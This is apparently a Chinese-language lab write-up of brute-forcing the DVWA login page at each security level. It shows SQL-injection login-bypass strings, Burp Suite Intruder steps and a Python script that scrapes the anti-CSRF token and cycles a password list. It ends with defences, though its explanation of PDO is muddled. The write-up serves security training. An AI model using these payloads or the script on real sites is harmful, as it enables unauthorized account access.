目录:

一、暴力破解简介
二、实验环境
三、实验步骤
安全等级:LOW
安全等级:Medium

一、暴力破解简介:

  • 暴力破解一般是指穷举法,顾名思义,暴力破解的原理就是使用攻击者自己的用户名和密码字典,一个一个去枚举,尝试是否能够登录。理论上来说,只要字典足够庞大,枚举总是能够成功的!

  • 但实际发送的数据并不像想象中的那样简单——“ 每次只向服务器发送用户名和密码字段即可!”,实际情况是每次发送的数据都必须要封装成完整的 HTTP 数据包才能被服务器接收。但是你不可能一个一个去手动构造数据包;

  • 所以在实施暴力破解之前,我们需要先去获取构造HTTP包所需要的参数,然后扔给暴力破解软件构造工具数据包,然后实施攻击就可以了。

  • Web暴力破解通常用在已知部分信息,尝试爆破网站后台,为下一步的渗透测试做准备。

Burp Suit中四种暴力破解的方式的区别:

四种暴力破解方式的区别:

  • 一个字典,两个参数,先匹配第一项,再匹配第二项【sniper】
  • 一个字典,两个参数,同用户名同密码【battering ram】
  • 两个字典,两个参数,同行匹配,短的截止【pitch fork】
  • 两个字典,两个参数,交叉匹配,所有可能【cluster bomb】

下面我们利用BUR破碎特的Intruder模块对密码进行暴力破解。

一、实验环境:

1、Windows服务器:Win7,IP地址:192.168.85.192,并启动phpstudy服务;
在这里插入图片描述
2、测试机:物理机Windows 10 ,远程登录DVWA,并安装启动代理服务器BurpSuite,开启代理;

二、实验步骤:

(一)安全等级:LOW

1、从物理机通过浏览器远程登录DVWA页面,将安全级别设置为LOW级别;

网址:http://192.168.85.192/DVWA/security.php

账户:admain
密码:password

在这里插入图片描述

2、查看源码;

在这里插入图片描述

如下图所示的源码为上一个网页实现功能的源码;
在这里插入图片描述

3、可以发现在LOW级别存在SQL注入漏洞;

在这里插入图片描述

通过对源码的分析,可以得到如下结果:

  • 针对用户输入的用户名和密码,服务器没有进行过滤操作;
  • 没有任何的防爆破机制,存在明显的SQL注入漏洞,可利用SQL注入漏洞登录(使用空密码登录);

万能账户:

  • admin’ or ‘1’='1
  • admin’ #

万能账户登录成功

在这里插入图片描述

在这里插入图片描述

(二)安全等级:Medium

四种暴力破解方式的区别:

  • 一个字典,两个参数,先匹配第一项,再匹配第二项【sniper】
  • 一个字典,两个参数,同用户名同密码【battering ram】
  • 两个字典,两个参数,同行匹配,短的截止【pitch fork】
  • 两个字典,两个参数,交叉匹配,所有可能【cluster bomb】

在这里插入图片描述

查看源码

在这里插入图片描述

源码分析:

  • mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符;如果不进行转义,意味着任何用户无需输入合法的密码即可登陆。使用该函数来预防数据库攻击,基本防止了SQL注入;
  • 同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的可能性;
  • 但依然没有加入有效的防爆破机制,只是不能采用SQL注入的方式登录;

1、使用账号:admain,密码:123456789,尝试进行登录,并使用BurpSuite对数据包进行拦截。

在这里插入图片描述

在这里插入图片描述

2、将获得的数据包导入到intreder中;

在这里插入图片描述

3、清空参数;

在Position选项中设置需要破解的变量。Burpsuite会自动设置许多变量,单击‘Clear’按钮,把默认变量全部清除;

在这里插入图片描述

4、添加所选参数,选择第一种方式Sniper进行暴力破解;

选中输入任意用户名和密码,单‘Add’按钮将其设置为需要破解的变量。使用Sniper攻击类型。

在这里插入图片描述

5、添加字典

  • Add:手动输入字典;
  • Load:加载外部字典,需选择加载路径;
  • Add from list:Burp Suite自带的字典;

在这里插入图片描述

6、爆破。请求长度不同的可能为正确密码(用户名或者密码输入错误的情况下);

在这里插入图片描述

7、用破解的密码尝试登陆;

在这里插入图片描述

使用Cluster bomb爆破类型进行破解

1、抓包;

在这里插入图片描述

2、导入intruder中;

在这里插入图片描述

3、清空参数,选择Cluster bomb爆破方式;

在这里插入图片描述

4、添加所选参数,使用Cluster bomb攻击方式(两个字典、两个参数,交叉匹配,所有可能);

在这里插入图片描述

5、添加字典;

5.1> 添加用户名字典

在这里插入图片描述

5.2> 添加密码字典

在这里插入图片描述

6、暴力破解,请求长度不同的可能为正确密码(用户名或者密码输入错误的情况下);

在这里插入图片描述

7、用破解的用户和密码尝试登陆;

在这里插入图片描述

安全等级:High

在这里插入图片描述

查看源码;

在这里插入图片描述

源码分析:

  • mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符;
  • stripslashes() 函数删除由 addslashes() 函数添加的反斜杠,可用于清理从数据库中或者从 HTML 表单中取回的数据。

在这里插入图片描述

通过抓包分析如下:

  • 通过抓包可以看到,登录验证时提交了四个参数:username、password、Login以及user_token,增加了爆破的难度;
  • 这就要求我们发送的每个请求包中都包含随机生成的token值,因此无法简单地使用Burpsuite进行暴力破解。可以尝试使用python脚本,使用爬虫将服务器每次返回的user_token抓取到;

python获取token的值脚本如下:

from bs4 import BeautifulSoup
import requests,re

#构造数据包
attack_ip = input('输入DVWA所在IP:')


header={'Host': f'{attack_ip}',
		'Cache-Control': 'no-cache, must-revalidate',
	    'If-None-Match': "307-52156c6a290c0",
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
		'Accept': '*/*',
		'Referer': f'http://{attack_ip}/DVWA/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate, br',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
		'Cookie': 'security=high; PHPSESSID=355dbnek6b5vnjce6181eg9k07'}
requrl = f"http://{attack_ip}/DVWA-master/vulnerabilities/brute/index.php"
 
def get_token(URL,header):
	#req = urllib.Request(url=URL,headers=header)
	response = requests.get(url=URL,headers=header)
	print (response.status_code,end='  ')
	the_page = response.text
	# print(the_page)
	print (len(the_page))
	#使用正则表达式获得token值
	token = re.findall(r"user_token.*?value='(.*?)'",the_page)
	# print(token[0])
	return token[0]


user_token = get_token(requrl,header)

i=0
for line in open('常用密码.txt'):
	URL = f"http://{attack_ip}/DVWA-master/vulnerabilities/brute/index.php"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	# print(URL)
	i = i+1
	print (i,'admin',line.strip(),end = ' ')
	user_token = get_token(URL,header)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Impossible

在这里插入图片描述

在这里插入图片描述

源码分析:

  • Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,爆破也就无法继续;
  • 同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令;

防止暴力破解的有效手段:

  • 限制尝试次数;
  • 验证码(验证码存在被技术的破解风险,仅用于增加每次尝试的成本);
  • PDO技术;
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐